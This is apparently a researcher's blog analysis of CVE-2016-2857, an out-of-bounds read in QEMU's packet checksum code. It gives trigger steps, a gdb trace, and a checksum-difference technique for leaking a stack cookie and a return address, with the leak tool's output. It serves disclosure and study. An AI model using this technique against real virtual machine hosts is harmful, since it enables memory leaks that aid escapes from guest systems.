CVE-2016-2857:an information disclosure vulnerability in QEMU

By Ling Liu of the Cloud Security Team, Qihoo360 Information Security Department

Overview

Recently QEMU disclosed an information disclosure vulnerability (CVE-2016-2857) in function net_checksum_calculate(). It was found by Ling Liu of 360Cloud Security Team, Qihoo360 Information Security Department.

According to our analysis, we found that the vuln can be used to leak the base address of QEMU and stack cookie, even the stack address range by utilizing this vulnerability.

Although this vulnerability only can be triggered by some network cards that used infrequently such as ‘cadence_gem’, we still think that it is worth to make a deeper analysis.

Have fun!

The Bug

The vulnerability was found in function net_checksum_calculate(), and it is a read-out-of-bounds flaw. This function is used to calculate the checksum of an IP header.
If the packet length in data[16:17] was written by a malicious length, it may cause a denial of service or information disclosed, because the function net_checksum_calculate() will bring the calculated checksum back to the packet. In the end, we can restore the sensitive memory information from the packet.

The patch could be found in https://bugzilla.redhat.com/show_bug.cgi?id=1296567
qemu

Denial Of Service

The function can be called from many driver of network card or function, as follows.
gem_transmit() in Cadence_gem.c
process_tx_fcb() in Rings.c
work_around_broken_dhclient() in Virtio-net.c
net_tx_packets() in Xen_nic.c

Next,
1st Start with ‘cadence_gem’ network card and enable loopback mode;
2nd Send packet with “data[16:17] = 0xfff”;

Now you can see the variable plen exceed the packet’s real length in gdb.
—————————
Breakpoint 2, gem_transmit (s=0x7ffff8db56b0) at hw/net/cadence_gem.c:901
901 net_checksum_calculate(tx_packet, total_bytes);
(gdb) p total_bytes
$20 = 1500
(gdb) s
net_checksum_calculate (data=0x7fffe53c4980 “”, length=1500) at net/checksum.c:58
58 {
(gdb) n
62 if ((data[14] & 0xf0) != 0x40)
(gdb)
64 hlen = (data[14] & 0x0f) * 4;
(gdb)
65 plen = (data[16] << 8 | data[17]) – hlen;
(gdb) n
66 proto = data[23];
(gdb) p/x plen
$21 = 0xffeb
……
84 csum = net_checksum_tcpudp(plen, proto, data+14+12, data+14+hlen);
(gdb) s
net_checksum_tcpudp (length=65515, proto=6, addrs=0x7fffe53c499a ‘\314’ , , buf=0x7fffe53c49a2 ‘\314’ , )
at net/checksum.c:48
……
85 data[14+hlen+csum_offset] = csum >> 8;
(gdb) p/x csum
$27 = 0xbc1d
(gdb) n
86 data[14+hlen+csum_offset+1] = csum & 0xff;

At the same time you can see the checksum was wrote back to the packet in Tcpdump.
qemu2

Exploitation
When function net_checksum_calculate() be called by gem_transmi(), the parameter ‘data’ is the variable ‘tx_packet[2048] ’ defined in gem_transmi() function. So you can get return address or stack cookie through this vulnerability.

If we send two packet with different packet length written in data[16:17], for example N and N+1. Then, from these two checksums, we can calculate what the extra one byte actually is. In this way, we can get the memory after tx_packet[2048]. Stack cookie and address will be leaked after lots of tries.

—end—
0C 02 00 00 00 00 00 00
7C 09 95 4C 75 0F FC D3
04 00 00 00 00 00 00 00
00 05 DC F8 FF 7F 00 00
0C 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00
04 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 08 DC F8 FF 7F 00 00

stack cookie=d3fc0f754c95097c
return address=dddddddddddddddd
sendlength=2048, fakelength=2121, checksum=9e40, known_bytes=2120
guessed. remote[2120] is A8
sendlength=2048, fakelength=2122, checksum=9d98, known_bytes=2121
guessed. remote[2121] is A7
sendlength=2048, fakelength=2123, checksum=cc96, known_bytes=2122
guessed. remote[2122] is D1
sendlength=2048, fakelength=2124, checksum=cb9e, known_bytes=2123
guessed. remote[2123] is F7
sendlength=2048, fakelength=2125, checksum=cc9c, known_bytes=2124
guessed. remote[2124] is FF
sendlength=2048, fakelength=2126, checksum=cc1c, known_bytes=2125
guessed. remote[2125] is 7F
sendlength=2048, fakelength=2127, checksum=cc1b, known_bytes=2126
guessed. remote[2126] is 00
sendlength=2048, fakelength=2128, checksum=cc1a, known_bytes=2127
guessed. remote[2127] is 00
—end—
0C 02 00 00 00 00 00 00
7C 09 95 4C 75 0F FC D3
04 00 00 00 00 00 00 00
00 05 DC F8 FF 7F 00 00
0C 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00
04 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 08 DC F8 FF 7F 00 00
A8 A7 D1 F7 FF 7F 00 00

stack cookie=d3fc0f754c95097c
return address=7ffff7d1a7a8
sendlength=2048, fakelength=2129, checksum=cc19, known_bytes=2128
guessed. remote[2128] is 00
sendlength=2048, fakelength=2130, checksum=cbac, known_bytes=2129
guessed. remote[2129] is 6C
sendlength=2048, fakelength=2131, checksum=74ab, known_bytes=2130
sendlength=2048, fakelength=2131, checksum=74af, known_bytes=2130
checksum error, memory changed!
—end—
0C 02 00 00 00 00 00 00
7C 09 95 4C 75 0F FC D3
04 00 00 00 00 00 00 00
00 05 DC F8 FF 7F 00 00
0C 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00
04 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 08 DC F8 FF 7F 00 00
A8 A7 D1 F7 FF 7F 00 00
00 6C
stack cookie=d3fc0f754c95097c
return address=7ffff7d1a7a8

Summary

Just as John Lambert said, on vulns: You can argue over exposure, difficulty, and likelihood. Security researchers write exploits because they like the truth.

Good luck!

1 thought on “CVE-2016-2857:an information disclosure vulnerability in QEMU”

评论关闭。